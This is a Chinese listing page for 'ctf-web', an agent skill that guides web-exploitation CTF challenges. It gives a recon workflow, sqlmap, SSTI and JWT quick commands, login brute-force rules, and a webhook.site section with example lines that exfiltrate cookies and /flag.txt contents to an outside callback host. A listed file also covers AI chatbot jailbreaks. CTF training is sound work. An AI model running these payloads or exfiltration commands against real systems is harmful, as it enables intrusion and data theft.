mcpField
C
ctf-web

ctf-web

github.com/ljagiello安全3.6k9.8k 次安装2 天前更新
代码仓库

关于 ctf-web

面向安全人员的 CTF Web 利用技能,先指导梳理应用及信任边界,再选择相应技术,并提供常见漏洞手册和可选 MCP 工作流。

主要功能

  1. 01应用初步侦察流程
  2. 02服务端与客户端利用笔记
  3. 03认证与访问控制指引
  4. 04载荷参考与工具说明
  5. 05MCP 集成说明

适用场景

  1. 01测试前梳理路由和信任边界
  2. 02调查 SQL 注入或 SSRF
  3. 03测试依赖浏览器的题目
  4. 04根据题目线索选择技术

MCP 相关

文档介绍了用于浏览器相关题目的可选 Playwright MCP,以及用于 HTTP 层工作的 Burp Suite MCP,并说明配置注意事项和工具限制。

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/ljagiello/ctf-skills --skill ctf-web

安装后在 Claude Code 中输入/ctf-web确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

auth-and-access-2.md
auth-and-access.md
auth-infra.md
auth-jwt.md
client-side-advanced.md
client-side.md
cves.md
field-notes.md
node-and-prototype.md
pat-reference.md
python-requests.md
server-side-2.md
server-side-advanced-2.md
server-side-advanced-3.md
server-side-advanced-4.md
server-side-advanced.md
server-side-deser.md
server-side-exec-2.md
server-side-exec.md
server-side.md
sql-injection.md
tools-mcp.md
web3.md
scripts/
async_fuzz.py

详细介绍

CTF Web 利用

将此技能用作 Web 类挑战的路由与执行指南。首次检查应简短:梳理应用、确认信任边界,然后再深入查看详细技术说明。

前置条件

Python 软件包(所有平台):

pip install sqlmap flask-unsign requests httpx

Linux(apt):

apt install hashcat jq curl

macOS(Homebrew):

brew install hashcat jq curl

Go 工具(所有平台,需要 Go):

go install github.com/ffuf/ffuf/v2@latest

手动安装:

  • ysoserial — GitHub,需要 Java(Java 反序列化载荷)
  • PayloadsAllTheThings — 克隆到 ctf-web/payloads/PayloadsAllTheThings(可通过安装脚本自动安装,也可按需克隆)
    bash scripts/install_ctf_tools.sh pat   # PAT only
    bash scripts/install_ctf_tools.sh all   # all tools including PAT
    # manual fallback:
    git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThings
    

    PAT 为可选项,按需使用 — 加载时不需要。没有它,技能也能正常工作(可优雅降级):pat-reference.md 提供包含示例载荷的离线索引;批量字典需要克隆上述仓库。

MCP 服务(可选): Playwright MCP(microsoft/playwright-mcp)适用于依赖浏览器的挑战(DOM XSS、管理员机器人、SPA 客户端密钥);Burp Suite MCP(PortSwigger/mcp-server)适用于线级操作(控制 HTTP/1.1+HTTP/2 报头、请求走私、通过 Collaborator 进行盲 SSRF/XXE、用正则表达式挖掘代理历史记录)——详见 tools-mcp.md。使用 Burp MCP 前要做好两件事:在 Agent 启动前先启动 Burp,并在 Burp 的 MCP 选项卡中关闭两个审批门槛,否则首次工具调用会被模态对话框阻塞。

其他资源

  • sql-injection.md - SQL 注入技术:绕过身份验证、UNION 提取、绕过过滤器、二阶 SQLi、截断、利用竞态条件泄露数据、通过 INSERT ON DUPLICATE KEY UPDATE 覆盖密码、绕过 innodb_table_stats WAF
  • server-side.md - PHP 类型 juggling、php://filter LFI、Python str.format 遍历、SSTI(Jinja2、Twig、ERB、Mako、EJS、Vue.js、Smarty)、SSRF(Host 头、DNS 重绑定、curl 重定向、未转义点号正则、SNI FTP 走私、mod_vhost_alias)、PHP hash_hmac NULL
  • server-side-2.md - XXE(基础、OOB、DOCX 上传)、通过 X-Forwarded-For 进行 XML 注入、PHP 可变变量、PHP uniqid 可预测文件名、顺序正则替换绕过、命令注入(换行符、阻止列表、sendmail CGI、多条码、git CLI)、GraphQL 注入(内省、批处理、插值)
  • server-side-exec.md - 直接代码执行路径、从上传到 RCE、与反序列化相关的执行、LaTeX 注入、请求头和 API 滥用
  • server-side-exec-2.md - 更多执行链:SQLi 分片、路径解析器技巧、多态上传、包装器滥用、文件名注入、通过文件名截断实现 BMP 像素 Webshell
  • server-side-deser.md - Java/Python/PHP 反序列化和竞态条件实战手册、通过反序列化利用 PHP SoapClient CRLF SSRF
  • server-side-advanced.md - 高级 SSRF、目录遍历、归档文件、解析器、框架和现代应用服务器问题、Nginx alias 遍历
  • server-side-advanced-2.md - Docker API SSRF、Castor/XML、Apache 表达式读取、解析器差异、Windows 路径技巧、恶意 MySQL 服务端文件读取
  • server-side-advanced-3.md - 第 3 部分(CSAW/35C3/ASIS/PlaidCTF 2018):WAV 多态上传、多斜杠 URL path.startswith 绕过、猜测 Xalan XSLT math:random() 种子、SoapClient _user_agent CRLF 方法走私、gopher:/// 无主机 URL 方案绕过、通过攻击者指定的出站 URL 泄露 SSRF 凭据
  • server-side-advanced-4.md - 第 4 部分:WeasyPrint SSRF/文件读取(CVE-2024-28184)、MongoDB 正则/$where 盲注 oracle、Pongo2 Go 模板注入、ZIP PHP Webshell、绕过 basename()、wget CRLF SSRF→SMTP、Gopher SSRF 到 MySQL 盲注、React Server Components Flight RCE(CVE-2025-55182)、通过 sslsplit+arpspoof 拦截 AMQP/TLS、CairoSVG XXE、重建 Bazaar 仓库
  • client-side.md - XSS、CSRF、缓存投毒、DOM 技巧、滥用管理员机器人、请求走私、绕过付费墙
  • client-side-advanced.md - 绕过 CSP、Unicode 技巧、XSSI、CSS 数据外泄、浏览器规范化行为差异、绕过 postMessage null origin
  • auth-and-access.md - 绕过身份验证/授权、隐藏端点、IDOR、重定向链、子域接管、AI 聊天机器人越狱
  • auth-and-access-2.md - 第 2 部分(2018 年前后):通过 std::unordered_set 桶冲突绕过身份验证、通过 nodeprep.prepare Unicode 同形用户名冲突绕过身份验证、通过 SRP A=0/A=N 绕过身份验证、通过 ArangoDB AQL MERGE 提权
  • auth-jwt.md - JWT/JWE 操纵、弱密钥、请求头注入、密钥混淆、重放
  • auth-infra.md - OAuth/OIDC、SAML、CORS、CI/CD 密钥、IdP 滥用、登录投毒
  • node-and-prototype.md - 原型污染、JS 沙箱逃逸、Node.js 攻击链
  • web3.md - Solidity 和 Web3 挑战笔记
  • cves.md - 基于 CVE 的技术,可用于匹配挑战横幅、请求头、依赖泄露或版本字符串
  • field-notes.md - 长篇漏洞利用笔记:SQLi、XSS、LFI、JWT、SSTI、SSRF、命令注入、XXE、反序列化、竞态条件、绕过身份验证和多阶段攻击链的速查资料
  • tools-mcp.md - 面向 Web 的 MCP 服务集成:Playwright MCP(复现管理员机器人 DOM XSS、实时检查 DOM/控制台/网络、browser_network_requests 列出端点,但只有 browser_network_request part="response-body" 会返回负载)和 Burp Suite 官方 MCP(27 个工具、审批门会在模态对话框处阻塞 Agent、目标三元组将套接字与 Host: 请求头解耦、normalizeHttpContent 会重写请求前导部分中的 CR/LF、基于映射的 HTTP/2 无法表示重复请求头、send_to_intruder 仅提供阶段、代理历史记录会将条目截断至 5000 个字符、Collaborator payloadId/customData 仅限 Pro);分别何时使用它们以及何时使用 curl 和 ffuf
  • python-requests.md - Python requests 工具包:会话脚手架、类似 Burp-Intruder 的模糊测试器(同步 + ThreadPoolExecutor + httpx async)、从 pat-reference.md 词表部署负载、请求头/参数喷洒、Cookie/JWT、代理
  • pat-reference.md — PayloadsAllTheThings 索引:XSS/SQLi/SSRF/SSTI/LFI/命令注入/上传的批量负载(需要克隆 PAT,参见 Prerequisites)

何时转换方向

  • 如果目标是原生二进制文件、自定义 VM 或固件映像,请先切换到 /ctf-reverse。
  • 如果 HTTP 漏洞只能让你执行代码,而难点变成内存破坏或绕过 seccomp,请切换到 /ctf-pwn。
  • 如果“Web”挑战的关键实际在于 JWT 数学运算、自定义 MAC 或加密原语,请切换到 /ctf-crypto。
  • 如果 Web 挑战涉及分析日志、PCAP,或从 Web 服务中恢复制品,请切换到 /ctf-forensics。
  • 如果挑战要求在利用漏洞之前,先从公开 Web 来源、DNS 记录或社交媒体收集情报,请切换到 /ctf-osint。

查找类似题解

如果你卡住了,或者想看看其他人如何解决类似的 Web 挑战,请按照 ctf-similar-search 技能的方法,用自然语言描述搜索请求,并包含挑战名称、比赛名称或挑战中的独特字符串(代码片段、错误消息):

“DASCTF URL Storage” “def encrypt_flag(key)”

此方法会通过 Tavily API 搜索参考题解,帮助你确定正确的利用路径。避免使用“SSRF”或“XSS”等通用词语,而应使用挑战专属标识。

初步工作流

  1. 确认真实边界:仅浏览器、仅后端、混合应用,还是身份验证流程。
  2. 在模糊测试前,为每项主要功能捕获一组正常的请求和响应。
  3. 从 JS 包、响应头、路由和备用方法中枚举隐藏功能。
  4. 判断可能的漏洞类型:注入、授权、解析器不匹配、上传、信任代理、状态机或客户端执行。
  5. 先构建最小化的证明:泄露、绕过或原语。之后再进行完整的漏洞利用链。
批量载荷(PayloadsAllTheThings — 按需)

此技能在加载时无需 PAT(可优雅降级):pat-reference.md 和内联示例可离线使用;批量载荷则需要 PAT 克隆。映射信任边界后(参见“初步工作流”),查看 pat-reference.md 中与你的漏洞类型对应的 PAT 目录,然后搜索批量载荷:

# PAT payload search (requires PAT clone — see Prerequisites; gracefully skipped if missing)
ls ctf-web/payloads/PayloadsAllTheThings 2>/dev/null | head
grep -R "onerror" "ctf-web/payloads/PayloadsAllTheThings/XSS Injection" 2>/dev/null | head

也可以通过 Agent 工具使用(索引本身无需克隆):

Glob ctf-web/payloads/PayloadsAllTheThings/**/*.md
Grep "union select" ctf-web/payloads/PayloadsAllTheThings

如果缺少 ctf-web/payloads/PayloadsAllTheThings/.git,Agent 会按需延迟克隆:

[ -d "ctf-web/payloads/PayloadsAllTheThings/.git" ] || git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThings

快速入门命令

# Recon
curl -sI https://target.com
ffuf -u https://target.com/FUZZ -w wordlist.txt
curl -s https://target.com/robots.txt

# SQLi quick test
sqlmap -u "https://target.com/page?id=1" --batch --dbs

# JWT decode (no verification)
echo '<token>' | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Cookie decode (Flask)
flask-unsign --decode --cookie '<cookie>'
flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt

# SSTI probes
curl "https://target.com/page?name={{7*7}}"
curl "https://target.com/page?name={{config}}"

# Request inspection
curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}'

登录暴力破解 — 硬性规则

当挑战需要对登录表单进行暴力破解时,必须严格遵守以下规则。切勿自行发挥。

  1. 用户名始终为 admin。 切勿枚举用户名。切勿创建用户名列表。即使挑战提示“弱口令”或“常用用户名”,这些提示描述的也是密码——目标账户仍然是 admin。只有当挑战明确给出其他具体字符串时(例如“用户名是 root”),才使用不同的用户名。

  2. 密码文件必须是现有的 Kali 字典文件。 默认使用 /usr/share/wordlists/metasploit/burnett_top_1024.txt。切勿自行创建密码文件——不要使用 cat > passwords.txt,不要在代码中硬编码密码列表,也不要读取本地的 Top1000.txt。你的脚本必须直接从 Kali 字典文件读取各行内容。

有关复杂场景(CSRF 令牌、前端加密、JSON API、Basic Auth、多线程),请参阅 auth-and-access.md 中的参考脚本——但这些脚本仍必须遵守上述两条规则。

需要回答的首要问题

  • Flag 可能位于浏览器、API 响应、本地文件、数据库行,还是内部服务中?
  • 应用是否会信任用户控制的模板、重定向、文件路径、请求头、序列化对象或后台任务中的数据?
  • 是否存在相互矛盾的多个解析器:代理与应用、URL 解析器与抓取器、清理器与浏览器、序列化器与过滤器?
  • 能否先将漏洞转化为更小的原语:读取一个文件、伪造一个令牌、调用一个内部端点,或触发一次机器人访问?

高价值侦察检查

  • 在猜测 API 接口之前,先阅读 HTML、内联脚本和打包后的 JS。
  • 对比 UI 提交的内容与后端接受的内容;可选 JSON 字段往往能解锁隐藏路径。
  • 尽早检查显而易见的元数据和辅助路径:/robots.txt、/sitemap.xml、/.well-known/、/admin、/debug、/.git/、/.env。
  • 在有趣的路由上尝试不同的动词和内容类型:GET、POST、PUT、PATCH、TRACE、JSON、表单、multipart、XML。
  • 将文件上传、PDF/导出、webhook、OAuth 回调和管理机器人功能视为可能放大漏洞影响的入口。

快速模式图

常见攻击链形式

  • 侦察 -> 隐藏路由 -> 绕过认证 -> 读取内部文件 -> 获取令牌或 flag
  • XSS 或 HTML 注入 -> 管理机器人 -> 特权操作 -> 泄露秘密
  • 路径遍历或上传 -> 泄露配置/源代码 -> 找回秘密 -> 伪造会话
  • SSRF -> 元数据或内部 API -> 凭据泄露 -> 代码执行
  • SQLi 或 NoSQL 注入 -> 绕过凭据验证 -> 二阶段模板或上传滥用

Webhook 回调(webhook.site)

对于任何需要回调 URL 的漏洞利用(XSS 管理机器人、SSRF 外泄、OAuth 重定向滥用、带外数据注入),使用 webhook.site 即时接收并检查传入请求。

创建令牌(获取回调 URL):

curl -X POST https://webhook.site/token
# Returns {"uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", ...}
# Your callback URL: https://webhook.site/<uuid>

在漏洞利用中使用回调 URL:

# XSS payload with webhook callback
curl -X POST https://target.com/api/report \
  -H "Content-Type: application/json" \
  -d '{"url": "https://webhook.site/<uuid>/steal?cookie=" + document.cookie}'

# SSRF exfiltration via webhook
curl "https://target.com/ssrf?url=https://webhook.site/<uuid>/?data=$(cat /flag.txt | base64)"

# OAuth redirect abuse
curl "https://target.com/auth?redirect=https://webhook.site/<uuid>/token"

获取最近收到的请求:

curl "https://webhook.site/token/<uuid>/request/latest/raw" \
  -H "accept: application/json" \
  -H "api-key: <uuid>"

何时使用 webhook.site、Burp Collaborator 或 interactsh:

  • webhook.site — 设置最快,有浏览器可见的 UI,无需安装;最适合快速 CTF 回调
  • Burp Collaborator — 通过 Burp Suite 作为代理时,更适合盲 XSS/SSRF
  • interactsh — 用于复杂多步骤漏洞利用的 OOB 交互关联

深入笔记

确认挑战确实以 Web 为主,并且需要完整的漏洞利用目录后,使用 field-notes.md。

  • 侦察、SQLi、XSS、路径遍历、JWT、SSTI、SSRF、XXE 和命令注入速查笔记
  • 反序列化、竞态条件、文件上传到 RCE,以及多阶段攻击链示例
  • Node、OAuth/SAML、CI/CD、Web3、机器人滥用、CSP 绕过和现代浏览器技巧
  • CVE 风格的操作指南,以及仍会出现在现代 CTF 中的旧式挑战模式

常见 Flag 位置

  • 文件:/flag.txt、/flag、/app/flag.txt、/home/*/flag*
  • 环境:/proc/self/environ、进程命令行、调试配置转储
  • 数据库:名为 flag、flags、secret 的表,或预置的挑战内容
  • HTTP:自定义标头、存档响应、隐藏路由、管理导出
  • 浏览器:隐藏 DOM 节点、data-* 属性、内联状态对象、源映射

评论

支持 Markdown